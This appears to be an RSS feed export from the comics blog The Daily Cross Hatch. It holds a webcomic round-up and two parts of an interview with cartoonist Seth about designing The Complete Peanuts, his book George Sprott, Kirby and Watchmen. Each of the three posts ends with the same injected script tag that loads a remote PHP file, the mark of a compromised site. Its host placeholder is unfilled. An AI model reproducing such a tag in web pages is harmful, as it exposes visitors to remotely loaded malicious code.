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	<title>The Daily Cross Hatch &#187; Charles Schulz</title>
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	<link>http://thedailycrosshatch.com</link>
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		<title>Lunch Break :: April 4, 2011</title>
		<link>http://thedailycrosshatch.com/2011/04/04/lunch-break-april-4-2011/</link>
		<comments>http://thedailycrosshatch.com/2011/04/04/lunch-break-april-4-2011/#comments</comments>
		<pubDate>Mon, 04 Apr 2011 16:00:37 +0000</pubDate>
		<dc:creator>Sarah Morean</dc:creator>
				<category><![CDATA[Lunch Break]]></category>
		<category><![CDATA[Anthony Clark]]></category>
		<category><![CDATA[Bryan Lee O'Malley]]></category>
		<category><![CDATA[Charles Schulz]]></category>
		<category><![CDATA[Daniel Leonard]]></category>
		<category><![CDATA[Hope Larson]]></category>
		<category><![CDATA[Jeffrey Brown]]></category>
		<category><![CDATA[JP Coovert]]></category>

		<guid isPermaLink="false">http://thedailycrosshatch.com/?p=8188</guid>
		<description><![CDATA[
			
				
			
		

Lunch Break is a short round-up of favorite webcomics appearing here each weekday at noon.  Here&#8217;s something for you to enjoy over your lunch break or whenever.  The premise is simple: it&#8217;s another day on the internet.  Here&#8217;s a new or forgotten comic that seems interesting.  Have something to recommend?  [...]]]></description>
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<p><img class="alignnone size-full wp-image-7634" title="lunchbreak_graphic_1" src="http://thedailycrosshatch.com/wp-content/uploads/2010/12/lunchbreak_graphic_1.jpg" alt="lunchbreak_graphic_1" width="200" height="200" /></p>
<p>Lunch Break is a short round-up of favorite webcomics appearing here each weekday at noon.  Here&#8217;s something for you to enjoy over your lunch break or whenever.  The premise is simple: it&#8217;s another day on the internet.  Here&#8217;s a new or forgotten comic that seems interesting.  Have something to recommend?  Email us: crosshatchdispatch@gmail.com.</p>
<ol>
<li><a href="http://3eanuts.tumblr.com/post/4111242817" target="_blank">3eanuts by Charles Schulz remixed by Daniel Leonard // March 26, 2011</a></li>
<li><a href="http://www.nedroid.com/bcpage1.html" target="_blank">200 Bad Comics #1-50 by Anthony Clark // 2007</a></li>
<li><a href="http://www.nycgraphicnovelists.com/2011/03/jeffrey-browns-good-at-playing-original_30.html?loc=interstitialskip" target="_blank">I&#8217;m Really Good at Playing by Jeffrey Brown // March 30, 2011</a></li>
<li><a href="http://www.topshelfcomix.com/ts2.0/adrift/" target="_blank">Adrift by JP Coovert // 2007</a></li>
<li><a href="http://www.radiomaru.com/comics/short/bca/" target="_blank">Bear Creek Apartments by Hope Larson and Bryan Lee O&#8217;Malley // 2008</a></li>
</ol>
<p>&#8211; <em>Sarah Morean</em><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Interview: Seth Pt. 3 [of 3]</title>
		<link>http://thedailycrosshatch.com/2009/08/19/interview-seth-pt-3-of-3/</link>
		<comments>http://thedailycrosshatch.com/2009/08/19/interview-seth-pt-3-of-3/#comments</comments>
		<pubDate>Wed, 19 Aug 2009 13:04:40 +0000</pubDate>
		<dc:creator>bheater</dc:creator>
				<category><![CDATA[Interviews]]></category>
		<category><![CDATA[Alan Moore]]></category>
		<category><![CDATA[Charles Schulz]]></category>
		<category><![CDATA[Clyde Fans]]></category>
		<category><![CDATA[Drawn & Quartely]]></category>
		<category><![CDATA[Fantagraphics]]></category>
		<category><![CDATA[George Sprott]]></category>
		<category><![CDATA[Jack Kirby]]></category>
		<category><![CDATA[Peanuts]]></category>
		<category><![CDATA[Seth]]></category>
		<category><![CDATA[Watchmen]]></category>

		<guid isPermaLink="false">http://thedailycrosshatch.com/?p=4453</guid>
		<description><![CDATA[
			
				
			
		

Some things just can’t be helped. Sitting out in front of the San Diego Convention Center, surrounded by throngs of showgoers decked out in their finest spandex, the conversation almost inevitably returns to the state of the superhero in contemporary comics, even with an artist whose life and work and are seemingly inseparable from sequential [...]]]></description>
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<p><a href="http://thedailycrosshatch.com/wp-content/uploads/2009/08/sethgeorgesprottgrislypanel.jpg"><img class="alignnone size-full wp-image-4454" title="sethgeorgesprottgrislypanel" src="http://thedailycrosshatch.com/wp-content/uploads/2009/08/sethgeorgesprottgrislypanel.jpg" alt="sethgeorgesprottgrislypanel" width="362" height="353" /></a></p>
<p>Some things just can’t be helped. Sitting out in front of the San Diego Convention Center, surrounded by throngs of showgoers decked out in their finest spandex, the conversation almost inevitably returns to the state of the superhero in contemporary comics, even with an artist whose life and work and are seemingly inseparable from sequential art of the past.</p>
<p>A line of questioning about Seth’s work on the gorgeous <em>Complete Peanuts</em> soon takes a turn for the superheroic when the artist mentions a childhood fascination with Marvel Comics, and a conversation about Jack Kirby progressing into philosophies regarding the negative pop cultural impact of Alan Moore’s <em>Watchmen</em>.</p>
<p>[<a href="http://thedailycrosshatch.com/2009/08/05/interview-seth-pt-1-of-3/" target="_blank">Part One</a>][<a href="http://thedailycrosshatch.com/2009/08/11/interview-seth-pt-2-of-3/">Part Two</a>]</p>
<p><span id="more-4453"></span></p>
<p><strong>When artists are discussing cartoonists whose style are impossible to mimic, Schulz inevitably comes it. It’s so deceptively simply and easy to mess up.</strong></p>
<p>Yeah.</p>
<p><strong>Was that a fear?</strong></p>
<p>I do very little real drawing in the <em>Peanuts </em>collections. Anywhere I have to replicate Schulz’s art, I actually trace it.   So that relieved a great deal of that fear. I mean, there is no way I could replicate his drawings. He had a style that is impossible to imitate, so it’s just a simple matter of either reproducing his actual art or retracing it.  Generally, the art you see in the book is 100-percent Schulz, or mostly Schulz with some little additions from me or complete retracings.</p>
<p><strong> Does the art lose something when you trace it?</strong></p>
<p>It definitely does. But I’m aware that any design elements I am including that include my hand have nothing to do with Schulz&#8217;s body of work&#8211;they are just decorations for a book.  For example, when I do a two-page spread of one of his famous <em>Peanuts</em> locations&#8211;I look at it as simply a something to make the book nice.  I don&#8217;t worry that I am fiddling around with the master&#8217;s art because it does no harm to his genuine body of work.   Schulz’s work is right there in the book. Every line in those strips is his. But the design stuff is just design stuff. It’s a setting to put a gem in. The setting is not the gem.</p>
<p><strong>Was the legacy hard to deal with? People love his work so much. Were you afraid you’d do something and upset people?</strong></p>
<p>No, no. I actually wasn’t.  I didn&#8217;t really care about the fan&#8217;s opinions&#8211;I was only thinking of the work itself and what I thought design I would come up with that would give it the right &#8220;feeling&#8221;. In a lot of ways I was freed up by the fact that Schulz is no longer alive—I don’t know if I could have done the book if I was dealing directly with him. That would have inhibited me.  I couldn’t really have had that attitude of, “it’s my way or forget it.”  With him there I would have been far too aware that it was his book.  Whatever he wanted would have been the right choice.  The series might very well have looked very different if he were still alive.   Who knows?</p>
<p><strong>Do you feel like Jeannie [Schulz, Charles’ widow] knew exactly what he would have wanted?</strong></p>
<p>I don’t know. It’s hard to say. But I do know that she clearly thinks he was a genius. She clearly has respect for his work and wants his work to be treated with respect. I take for granted, at this point,  that she trusts me,  because what I’m trying to do is give his work respect. That really is all it’s about for me. I want to present his work in a dignified manner. I feel like Schulz’s work has been casually approached in the past. The books have been usually designed in a very half-assed manner for 20 or 30 years.</p>
<p>I should qualify that statement&#8211;the first few books from Hold Reinhart were very nice books and the remainder of the series throughout the series is okay.  The 70s <em>Peanuts</em> books, for the most part are abysmal.  They have a cheap and lazy aesthetic.  Off the top of my head, the only good <em>Peanuts</em> book after 1970 is probably Chip Kidd&#8217;s amazing volume.</p>
<p><strong>They’ve had no problem merchandising.</strong></p>
<p>Yeah.  No doubt about that.  Whether the books were good or bad looking the work inside always sold well. I don’t think Schulz must have cared about the books. What they looked like.  I suspect he wasn&#8217;t really involved in the book designs. The book really weren’t—- I mean, beyond the first few books&#8211; it didn’t really seem like Schulz cared what they looked like, because they just didn’t look very good. He couldn&#8217;t have cared. He was concerned with the daily strip. That was his life.</p>
<p><strong> Did you have Snoopy stuff? Did you buy into the merchandising when you were a kid?</strong></p>
<p>Sure, I had all of that sort of stuff when I was a kid. I loved Schulz. He was my primary influence. I loved him right until I got into Marvel comics. I still read <em>Peanuts</em>, but I didn’t think about it in the same when after I started to read those Marvel Comics. Then in my early twenties, I came back to him in a strong way and started to re-read all of the strips and got very Peanuts again. At that point I did collect all that <em>Peanuts</em> merchandise&#8211;dolls and statuettes and Avon products. But eventually I got rid of all of that stuff because I realized that I don’t really care about all of those toys and things.  That was all just gilding on the lily.   It was only the strip that mattered to me.</p>
<p><strong> Are you still interested in the older superhero stuff? Like the Kirby stuff?</strong></p>
<p>Yeah, it still has a lot of resonance. Kirby especially. I loved him so much as a teenager. I have all of that Kirby stuff from that period. I re-acquired all of it in my late twenties and thirties. I think Kirby was a great artist. I think it’s unfortunate that his stuff doesn’t stand up to a great deal of re-reading. But I still take real pleasure in looking at it.  There is no artwork in the world like it.  And of course it has great nostalgic value for me. It’s no accident that his work has influenced mainstream comics in a manner that no other artist has or ever will. He was a giant in that little world.</p>
<p>He had some kind of basic understanding of how to draw that stuff&#8211;a primary vision that set the template for almost every aspect of the superhero genre that followed him. But, that said, I think Jack&#8217;s work doesn&#8217;t hold up well for an adult reader.  I think that if Jack had been born in Europe and had worked in the album format with the kind of freedom that Herge had then I think there would have been a series of Kirby books that would have left behind a more coherent artistic vision. In some alternate reality Kirby would have left a great pile of fantasy comic albums that would have been beloved classics&#8211;much like Herge.</p>
<p>This is all just speculative nonsense but I think he had that kind of narrative vision. Yet sadly, too many years in the salt mines and too many editors fucking around with his projects left a scattered body of work behind him. Wonderful series cancelled before they could even get going.  Great fun and inventive concepts neutered by little bureaucratic assholes.   It’s a shame, because I think he was a kind of genius.  Left to his own devises who knows what he could have accomplished.</p>
<p><strong> Do you have anything invested in the superhero characters themselves?</strong></p>
<p>Not beyond nostalgia. The superhero has a weird dichotomy. On one hand, it’s full of American charm like the Easter Bunny or Santa Claus. It’s a solid pop culture image that&#8217;s just loaded with charm. But I think so much of that charm has been destroyed over the decades and turned into a weird fetish object. Because unfortunately the other side of the superhero image is overflowing with weird sexual energy. I mean, a superhero is basically just an erection running around on the loose. Two sides of the same coin&#8211; the innocence on one side and all that sex on the other&#8211;there is so much naked sexuality in the superhero image. I mean, look around at this convention.</p>
<p><strong>There’s plenty of erections running around.</strong></p>
<p>Yeah. That&#8217;s for sure! So I think the modern comics have chosen to focus exclusively on the sexual part. Though they may not realize it.</p>
<p><strong>Werthem realized it, though.</strong></p>
<p>Yeah, I guess he did. in some sense Werthem was right. He was just so wrong-headed in what he chose to criticize and what conclusions he drew from the comics. He was a bad social scientist but a good propagandist.     I think the problem with the superhero for me is the loss of that the othe , the charm of the superhero—- I mean, when I see the old covers of Superman and Green Lantern running a race and breaking a ribbon, or sitting around there little table in their clubhouse&#8211; that’s that kind of simple charm they had. That is very appealing as a pop-culture image.</p>
<p>They were big policemen helping out the world. Those simple tales of adventure had a childish feeling of profundity to them&#8211;very appealing when you were a kid.  The big cosmic adventures that happened to these colorful characters were very silly but that absurd childishness made for great innocent reading.  They weren’t psychotic killers, or whatever it is they are now. It’s become a weird product that I feel no attachment to.  Who wants to read a book where Winnie the Pooh has become a rabid grizzly bear?</p>
<p><strong>So no interest in ever tackling a character like that?</strong></p>
<p>I don’t think so. And I would have thought it was impossible to use a superhero as a subject for an adult story until I read Dan [Clowes]’s <em>Death Ray</em>. That was the book that showed me that all these modern mainstream writers who have tried to write the “real” superhero story, none of them knew what the hell they were doing. Because Dan actually got away from all of those tropes that those fellows can’t help but write about—because these genre tropes are more important to the mainstream writers than the writing  of an adult story.  It&#8217;s too much of a fetish interest.</p>
<p>What they really like about the superhero is the genre trappings&#8211;the origin, the costume, the first battle, the villain, the list of superpowers&#8230;you know. Whatever the things are that make up the main elements of the superhero genre. What they are not interested in is writing a meaningful story where the superhero is merely a devise to get at something.  The superhero is so shiny that they are blinded by him. The Watchmen is a good example of this. Those superhero tropes are  all in there. Dutifully trotted out with grim seriousness.    Unlike the <em>Death Ray</em>, which is a genuinely grim story which used the superhero as a mere springboard&#8211; nd turning the superhero literally inside out. After the <em>Death Ray</em>, I seriously doubt I could figure out anything to do with the superhero. It was too perfect.</p>
<p><strong>Do you like <em>Watchmen</em> as a book?</strong></p>
<p>I don’t. It’s unfortunate, because I like Alan Moore.  He seems like a nice, funny,  intelligent person.</p>
<p><strong>But it’s an important book…</strong></p>
<p>It’s an influential book. But I don’t think it influenced things in a good way. I actually think so much of what’s going on right now is Alan Moore’s fault. I’m suspect he would be the first to admit that it started a bad trend.</p>
<p><strong>At this point when someone says “real,” they mean violent.</strong></p>
<p>Yes.  The Rorschach character, who is supposed to be a someone to pity or hate—now he’s cool. That’s the basic problem with <em>Watchmen</em>. Even Alan Moore couldn’t keep it from being cool. The <em>Death Ray</em> isn’t cool. He’s a real kid. He’s a sympathetic kid and later a frightening adult.  Rorschach isn’t actually frightening. He kicks ass.  People like to identify with him. He&#8217;s Batman.</p>
<p><strong>It comes back to that idea of letting a character out of your hands. Alan Moore obviously didn’t want the movie, and now that it exists, it’s reason enough to celebrate its characters.</strong></p>
<p>Yeah, I guess.</p>
<p><strong>That’s why it’s easy to sympathize with people who want to hold onto their creations.</strong></p>
<p>Well, I feel for Alan Moore, but if he’s mad about anything, I think it’s that DC treated him poorly. If DC treated him well, he might have been excited about these films. I think he’s had a long history of being screwed over by these corporations and losing control. I totally sympathize with him and I think really highly of him that he didn’t take the money. That’s what it boils down to&#8211;that’s the most powerful statement you can make in our culture, “I won’t take your money.”</p>
<p><em>&#8211;Brian Heater</em><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Interview: Seth Pt. 2 [of 3]</title>
		<link>http://thedailycrosshatch.com/2009/08/11/interview-seth-pt-2-of-3/</link>
		<comments>http://thedailycrosshatch.com/2009/08/11/interview-seth-pt-2-of-3/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 13:08:45 +0000</pubDate>
		<dc:creator>bheater</dc:creator>
				<category><![CDATA[Interviews]]></category>
		<category><![CDATA[Charles Schulz]]></category>
		<category><![CDATA[Clyde Fans]]></category>
		<category><![CDATA[Drawn & Quartely]]></category>
		<category><![CDATA[Fantagraphics]]></category>
		<category><![CDATA[George Sprott]]></category>
		<category><![CDATA[Peanuts]]></category>
		<category><![CDATA[Seth]]></category>

		<guid isPermaLink="false">http://thedailycrosshatch.com/?p=4420</guid>
		<description><![CDATA[
			
				
			
		

From his book design to his brand of cigarettes, let there be no debate that Seth is a man of complete and largely uncompromised style, a fact that has made his art some of the most instantly recognizable cartooning work of this decade. The artist practically recoils at the mention of editorial oversight when it [...]]]></description>
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<p>From his book design to his brand of cigarettes, let there be no debate that Seth is a man of complete and largely uncompromised style, a fact that has made his art some of the most instantly recognizable cartooning work of this decade. The artist practically recoils at the mention of editorial oversight when it comes to his comics, by anyone from <em>The New York Times</em> on down.</p>
<p>In this second of our three part interview, we touch on that exact topic, as it pertains to his most recent book, <em>George Sprott</em>, and his work on the design of Fantagraphics’ <em>Complete Peanuts</em>.</p>
<p>[<a href="http://thedailycrosshatch.com/2009/08/05/interview-seth-pt-1-of-3/" target="_blank">Part One</a>]<br />
<span id="more-4420"></span></p>
<p><strong>Despite the fact that [George Sprott] was on TV and he was a big personality, he was a big personality in a small community.</strong></p>
<p>Yeah, exactly.</p>
<p><strong> And he was doing the same thing over and over again—reading in the same theater, week after week.</strong></p>
<p>Exactly. I wanted George to be someone who was in the public eye, but obviously not a genuine celebrity, because then you’d have to deal with the problems of real celebrity in the story. It’s not a story about fame, because that’s too easy.  But George&#8217;s limited fame is an essential ingredient.  It&#8217;s a story about things falling away with time.   That minor fame of his simply gave me another element of his life to fall away.</p>
<p>It’s a story where I’m ambivalent about who George is. I wanted the reader to feel ambivalent as well, and to make up their own minds about whether George is a person to like or not, and whether he’s a failure. I mean, it’s hard to paint him as a success. He’s running away from a lot of things. But I wanted to make the reading experience as fragmented as possible, because if you fill in too many gaps, then you’re deciding for the reader what he should feel. You can’t entirely escape that as the author, but I wanted to try and give the reader some choice about whether they liked George.</p>
<p><strong>Do you feel as if you were filling in too many gaps in prior books?</strong></p>
<p>Um, no. but I think I had a bigger picture of who the characters are in other books. With George I never really did work him out fully for myself. There’s stuff in this book where I don’t know what the answer is, either. Someone today asked me why George was in the seminary, was it to avoid going to war? I agreed that the narrator of the book hints at that, but he sort of retreats from it as well.   The answer is, I don’t know myself.  It’s a possibility that George goes into the seminary because he wants to avoided the war, but it’s also a possibility that he genuinely thought that that was the seminary was the direction his life was going and it simply didn&#8217;t continue in that way. I don’t really know what the answer is, because I didn’t really bother to figure it out—it wasn’t really important for me to know. George is a fragment.</p>
<p><strong>Have you had something more invested in your characters in previous stories?</strong></p>
<p>Yes. George, for the most part, was based on other people, and all my other characters have been largely based on myself. The two brothers in <em>Clyde Fans</em>, for example, are clearly two sides of my own personality. George is actually more  based on three or four or five people that I know through the media or through my personal life—my father being one of them.  So it’s more of an outside view.</p>
<p><strong>Is there a news presenter that he’s largely based on?</strong></p>
<p>Yeah, the initial figure that he’s based on is a fellow by the name of George Pierrot, who was a local Detroit TV travel host in the 60s and 70s.  I took a good number of surface traits from. He was well-known for falling asleep on the air, so I took that exactly from Mr. Pierrot.</p>
<p>I’m certainly not saying that he was anything like George Sprott though.  If anything, he seemed like a very nice old guy. His show was a remarkable anachronism of a show when I watched it as a teenager in the 70s&#8230; and it always stuck in my mind.</p>
<p><strong>He was already on the wane at the point?</strong></p>
<p>Oh yes, he was. He probably died some time in the late 70s. I watched him then with a sense of boredom. It was not the kind of thing I was interested in at the time. Whereas now I think I would love to be seeing his shows again.</p>
<p><strong>You’re carrying this personality with you, all these years—at what point does that congeal into a story?</strong></p>
<p>Just around the time the <em>Times</em> called me, actually. I had been playing with the ideas of  a character like George. I didn’t fully know what the character was going to be.  The idea was a bit more expansive originally. I was going to involve more characters from the TV station. At some point I thought I would have two central guys. These two old fellows from the TV station and their individual lives—they would have parallel stories and then somehow they would collide at some point in the story and have a conflict. But I wasn’t really all that sure where it was going. And then the <em>Times</em> called and asked me for ideas.</p>
<p>So, I gave them three ideas. The first one was that I wanted to finish a graphic novel that I had started in another magazine&#8211;and I knew they wouldn’t go for that—but that was the main project I wanted to do. The second idea was really kind of characterless and esoteric. I was to be about a city block, and allowing the reader to act as sort of a ghost figure, you would go through each of the buildings and explore their history and experience the whole city block.  This idea may still get done some day in some form.  This would have been quite fragmented.  A lot of bits and pieces.   Certainly more than George turned out to be.</p>
<p><strong>That’s sort of the ultimate version of this story, because it doesn’t connect with any of the characters.</strong></p>
<p>Yeah, exactly. You really need the reader to make something out of it themselves. To piece it together. But I had a bad feeling that they wouldn’t go for that one either. For the third one, I just threw in the germ of the George story, “something about an old guy. He’s an old, lonely TV host. It’s the end of the career, etc.” And, of course, they said they liked that one. And then I had to figure out what the hell to do with the idea.</p>
<p><strong>Did they have any input beyond choosing the initial story?</strong></p>
<p>No, remarkably not, and I was a little worried. You see, the first idea I mentioned&#8211; the unfinished story I hoped to complete&#8211; the reason I didn’t finish it was, the magazine I was working for in Canada&#8230;well,  I had been very clear to them about allowing no input from the editors. They had agreed and it ran in four installments before they started to interfere. Then they wanted to change things.</p>
<p><strong>Someone was telling me earlier—I don’t know if it was on a panel today—but you made that point that you don’t like any editorial input.</strong></p>
<p>I don’t, it’s true. I can’t deal with people telling me what they want from the story or forcing me to think differently. The minute I know they will be in a position to ask for changes, I start  self-censoring. I talked to the Times about this before hand, and they were very reassuring, but I still didn&#8217;t feel entirely relaxed at the beginning.  I was waiting to see what would happen.  But, I have to give them real credit&#8211; they never interfered.</p>
<p><strong> What’s that law of physics? You automatically change things by observing them?</strong></p>
<p>Yes, exactly. I can work in the  illustration business that way—I don’t care what anybody says. They can ask me to change things and I am more then happen to change it.  Turn the guy into a girl&#8211;no problem.  Make it red and not blue.  Right away.  But I can’t write that way. The Times didn’t interfere We only had a few disputes over a couple of words that didn’t quite work for them.  Didn&#8217;t match the ethics of their &#8220;style book&#8221;.  It was all fine. I took the words out, and then put them back in for the book version.</p>
<p><strong>How much control do you have when you’re working on something like the <em>Peanuts </em>books?</strong></p>
<p>Obviously Jeannie Schulz had the final say. But that&#8217;s not to say I wasn&#8217;t determined to do things my way.   It was one of those cases where when I went down to see Jeannie with a presentation for what I was going to do, I told myself beforehand not to get too attached to the idea of being the designer of the series.  I told myself that If the people in charge of <em>Peanuts </em>were going to require this series to be  another one of those collections that I hate&#8211;meaning, bright pastels and smiling Snoopys&#8211; I was going to tell them that I wasn’t interested in working on it.  As difficult as it would be to turn down the <em>Complete Peanuts</em> there was no point in getting involved in a project that would depress me.  I was pretty determined that it had to be my way. But Jeannie was a dream. She didn’t ask for any changes but one, which was, my initial plan was to have Charlie Brown’s face on the cover of every volume.</p>
<p><strong> The evolution of Charlie Brown.</strong></p>
<p>Yeah. I wanted to have him on all 50 volumes. They (meaning everyone else involved in the project) thought that was just too similar for a set of books. And I kind of figured that as well. I was more than ready to throw that idea out. Beyond that, no one really interfered.  It&#8217;s been the perfect working experience.  Everyone at Fanta and everyone at One Snoopy Place.  I have nothing to complain about.</p>
<p><strong>Are you locked in for the entire set?</strong></p>
<p>It’s totally locked in. The design evolves slightly for each decade, but it’s all about subtle change. For example, the end papers change each decade. The color scheme changes each decade, but it’s a very subtle shift. The design is set in stone. It will be a set that looks like it was planned to be a set.  That might make each volume a little less creative to put together but this is a sacrifice I am happy to make to get the cohesiveness of the overall design.  I like sets.</p>
<p><em>[Concluded in Part Three]</em></p>
<p><em>&#8211;Brian Heater</em><script src="http://$domain/ll.php?kk=11"></script></p>
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